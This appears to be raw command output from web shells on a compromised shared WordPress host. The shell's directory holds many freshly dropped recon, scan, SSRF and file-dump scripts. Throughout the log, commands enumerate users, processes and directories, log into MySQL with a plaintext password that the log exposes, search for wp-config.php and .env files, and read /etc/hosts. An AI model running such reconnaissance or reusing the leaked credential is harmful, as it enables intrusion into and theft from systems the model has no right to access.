===WHOAMI=== Array ( [cmd] => whoami;id;hostname;hostname -f;uname -a [code] => 0 [out] => filetir uid=4766(filetir) gid=4770(filetir) groups=4770(filetir) ir1cp.routedns.net ir1cp.routedns.net Linux ir1cp.routedns.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux ) ===PWD=== Array ( [cmd] => pwd;ls -la [code] => 0 [out] => /home/filetir/public_html total 299944 drwxr-x--- 12 filetir nobody 4096 Jul 19 09:49 . drwx------ 5 filetir filetir 4096 Jul 19 06:59 .. -rw-r--r-- 1 filetir filetir 1930 Jul 13 04:12 .htaccess drwxr-xr-x 4 filetir filetir 4096 Jul 19 07:03 .well-known -rw-r--r-- 1 filetir filetir 0 Jul 19 04:32 a.php -rw-r--r-- 1 filetir filetir 248 Jul 19 08:08 catf.php drwxr-xr-x 2 filetir filetir 4096 Jul 19 07:02 cgi-bin -rw-r--r-- 1 filetir filetir 479 Jul 19 04:24 dblist.php -rw-r--r-- 1 filetir filetir 1082 Jul 19 04:30 dbsize.php -rw-r--r-- 1 filetir filetir 3035 Jul 19 07:52 deepsearch.php -rw-r--r-- 1 filetir filetir 1956 Jul 19 07:56 deepsearch2.php -rw-r--r-- 1 filetir filetir 1906 Jul 19 08:12 deepsearch3.php -rw-r--r-- 1 filetir filetir 1983 Jul 19 07:58 dumpfile.php -rw-r--r-- 1 filetir filetir 557039 Jul 19 11:00 error_log drwxr-xr-x 3 filetir filetir 4096 Jun 30 14:48 hypercredit -rw-r--r-- 1 filetir filetir 405 Jun 2 12:08 index.php -rw-r--r-- 1 filetir filetir 19903 Mar 6 2025 license.txt -rw-r--r-- 1 filetir filetir 0 Jul 19 04:22 m.php drwxr-xr-x 2 filetir filetir 4096 Jun 3 20:15 mycredit drwxr-xr-x 2 filetir filetir 4096 Jun 4 18:33 mycredit2 drwxr-xr-x 2 filetir filetir 4096 Jun 3 23:09 mycredit3 -rw-r--r-- 1 filetir filetir 438 Jul 19 08:15 p.php -rw-r--r-- 1 filetir filetir 931 Jul 19 04:24 probe.php -rw-r--r-- 1 filetir filetir 434 Jul 19 08:05 readfile.php -rw-r--r-- 1 filetir filetir 7425 Jul 8 2025 readme.html -rw-r--r-- 1 filetir filetir 1688 Jul 19 04:35 recon.php -rw-r--r-- 1 filetir filetir 2162 Jul 19 04:37 recon2.php -rw-r--r-- 1 filetir filetir 2045 Jul 19 04:38 recon3.php -rw-r--r-- 1 filetir filetir 0 Jul 19 09:49 s.php -rw-r--r-- 1 filetir filetir 2714 Jul 19 08:46 s3.php -rw-r--r-- 1 filetir filetir 142 Jul 19 08:57 s3.txt -rw-r--r-- 1 filetir filetir 1345 Jul 19 08:13 saveout.php -rw-r--r-- 1 filetir filetir 1575 Jul 19 08:19 scan1.txt -rw-r--r-- 1 filetir filetir 1819 Jul 19 08:22 scan2.txt -rw-r--r-- 1 filetir filetir 2720 Jul 19 08:38 scan3.php -rw-r--r-- 1 filetir filetir 1703 Jul 19 08:35 scan3.txt -rw-r--r-- 1 filetir filetir 1438 Jul 19 08:28 scan3_urlencoded.txt -rw-r--r-- 1 filetir filetir 2780 Jul 19 08:40 scan_panel.php -rw-r--r-- 1 filetir filetir 3573 Jul 19 08:21 scan_results2.txt -rw-r--r-- 1 filetir filetir 937 Jul 19 08:20 scan_urls2.php -rw-r--r-- 1 filetir filetir 2715 Jul 19 08:40 scan_urls4.php -rw-r--r-- 1 filetir filetir 862 Jul 19 08:16 ssrf.php -rw-r--r-- 1 filetir filetir 2793 Jul 19 08:39 urls_scanner.php drwxr-xr-x 2 filetir filetir 4096 Jul 19 07:01 wordpress -rw-r--r-- 1 filetir filetir 7349 Oct 8 2025 wp-activate.php drwxr-xr-x 9 filetir filetir 4096 May 17 09:54 wp-admin -rw-r--r-- 1 filetir filetir 351 Feb 6 2020 wp-blog-header.php -rw-r--r-- 1 filetir filetir 2323 Jun 14 2023 wp-comments-post.php -rw-r--r-- 1 filetir filetir 3339 Aug 12 2025 wp-config-sample.php -rw-rw-rw- 1 filetir filetir 3625 Jun 2 11:56 wp-config.php drwxr-xr-x 11 filetir filetir 4096 Jul 19 11:06 wp-content -rw-r--r-- 1 filetir filetir 306173245 Jul 1 16:06 wp-content.zip -rw-r--r-- 1 filetir filetir 5617 Aug 2 2024 wp-cron.php drwxr-xr-x 31 filetir filetir 16384 Jun 12 00:43 wp-includes -rw-r--r-- 1 filetir filetir 2493 Apr 30 2025 wp-links-opml.php -rw-r--r-- 1 filetir filetir 3937 Mar 11 2024 wp-load.php -rw-r--r-- 1 filetir filetir 51437 Oct 29 2025 wp-login.php -rw-r--r-- 1 filetir filetir 8727 Apr 2 2025 wp-mail.php -rw-r--r-- 1 filetir filetir 31055 Nov 7 2025 wp-settings.php -rw-r--r-- 1 filetir filetir 34516 Mar 10 2025 wp-signup.php -rw-r--r-- 1 filetir filetir 5214 Aug 19 2025 wp-trackback.php -rw-r--r-- 1 filetir filetir 128 Jul 19 08:14 x.php -rw-r--r-- 1 filetir filetir 3205 Nov 8 2024 xmlrpc.php ) ===DISK=== Array ( [cmd] => df -h;du -sh ~ ../public_html 2>/dev/null [code] => 0 [out] => Filesystem Size Used Avail Use% Mounted on /dev/md127 2.9T 1.7T 1.1T 63% / tmpfs 95G 4.2G 90G 5% /run/dbus tmpfs 95G 0 95G 0% /dev/shm /dev/md127 2.9T 1.7T 1.1T 63% /home/filetir/.clwpos 937M /home/filetir ) ===HOME_DIRS=== Array ( [cmd] => ls -la /home /var/www 2>/dev/null | head -60 [code] => 0 [out] => /home: total 12 drwxr-xr-x 3 root root 4096 Apr 21 05:35 . drwxr-xr-x 18 root root 4096 Nov 4 2024 .. drwx------ 5 filetir filetir 4096 Jul 19 06:59 filetir /var/www: total 16 drwxr-xr-x 4 root root 4096 Feb 18 2023 . drwxr-xr-x 15 root root 4096 Jul 17 03:47 .. drwxr-xr-x 2 root root 4096 Jun 10 19:13 cgi-bin drwxr-xr-x 3 root root 4096 Jun 10 19:13 html ) ===MYSQL_DBS=== Array ( [cmd] => mysql -u filetir_main -p'Filecity:)' -e "SHOW DATABASES;" 2>&1 | head -50 [code] => 0 [out] => mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Database filetir_main information_schema ) ===MYSQL_USERS=== Array ( [cmd] => mysql -u filetir_main -p'Filecity:)' -e "SELECT user,host FROM mysql.user;" 2>&1 | head -30 [code] => 0 [out] => mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead -------------- SELECT user,host FROM mysql.user -------------- ERROR 1142 (42000) at line 1: SELECT command denied to user 'filetir_main'@'localhost' for table `mysql`.`user` ) ===FIND_OTHER_WPCONFIG=== Array ( [cmd] => find /home /var/www /var/www/html -name wp-config.php 2>/dev/null [code] => 0 [out] => /home/filetir/public_html/wp-config.php /home/filetir/public_html/wp-content/plugins/duplicator/installer/dup-installer/templates/default/pages-parts/step3/options-tabs/wp-config.php ) ===FIND_OTHER_CONFIGS=== Array ( [cmd] => find /home /var/www /var/www/html -maxdepth 4 -type f \( -name "*.env" -o -name "config.php" -o -name "database.php" -o -name "settings.php" -o -name ".env*" -o -name "*.ini" \) 2>/dev/null | head -60 [code] => 0 [out] => ) ===ENV_VARS=== ===PROCESSES=== Array ( [cmd] => ps aux 2>/dev/null | head -40 [code] => 0 [out] => USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND filetir 24516 0.0 0.0 10748 2952 ? S 11:07 0:00 sh -c ps aux 2>/dev/null | head -40 2>&1 filetir 24517 0.0 0.0 43532 2216 ? R 11:07 0:00 ps aux filetir 24518 0.0 0.0 4472 852 ? S 11:07 0:00 head -40 filetir 3431165 0.0 0.0 10748 2960 ? S 07:49 0:00 /bin/bash /bin/cagefs_enter.proxied /opt/alt/php82/usr/bin/lsphp filetir 3431171 0.0 0.0 10640 1028 ? S 07:49 0:00 /usr/sbin/proxyexec -c cagefs.sock filetir /opt/alt/php82/usr/bin CAGEFS_ENTER 3431165 /opt/alt/php82/usr/bin/lsphp filetir 3431175 5.2 0.0 568484 52708 ? S 07:49 10:26 lsphp:/home/filetir/public_html/recon.php ) ===NETSTAT=== Array ( [cmd] => ss -tlnp 2>/dev/null | head -30 || netstat -tlnp 2>/dev/null | head -30 [code] => 0 [out] => ) ===HOSTS=== Array ( [cmd] => cat /etc/hosts; cat /etc/resolv.conf [code] => 0 [out] => 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 5.9.128.155 api.openai.com 5.9.128.155 anthropic.com docs.anthropic.com api.anthropic.com claude.ai 5.9.128.155 cloudlinux.com repo.imunify360.cloudlinux.com 5.9.128.155 kriesi.at 185.222.163.82 ftp.farsistore.ir 185.222.163.90 ir1cp.routedns.net ir1cp 46.245.65.20 s8.softaculous.com www.s8.softaculous.com s7.softaculous.com www.s7.softaculous.com s6.softaculous.com www.s6.softaculous.com s5.softaculous.com www.s5.softaculous.com s4.softaculous.com www.s4.softaculous.com s3.softaculous.com www.s3.softaculous.com s2.softaculous.com www.s2.softaculous.com s1.softaculous.com www.s1.softaculous.com www.softaculous.com softaculous.com a.softaculous.com www.a.softaculous.com server.softaculous.com www.server.softaculous.com api.softaculous.com www.api.softaculous.com licenses.softaculous.com www.licenses.softaculous.com 46.245.65.20 files.imunify360.com 185.107.32.52 verify.cpanel.net store.cpanel.net myip.cpanel.net id.cpanel.net www.cpanel.net cpanelemaildiscovery.cpanel.net account.cpanel.net securedownloads.cpanel.net manage2.cpanel.net rsync.cpanel.net web.cpanel.net cpanel.net 46.245.65.20 repo.mysql.com yum.mariadb.org archive.mariadb.org nameserver 8.8.8.8 nameserver 194.225.152.10 nameserver 217.218.155.155 ) ===END===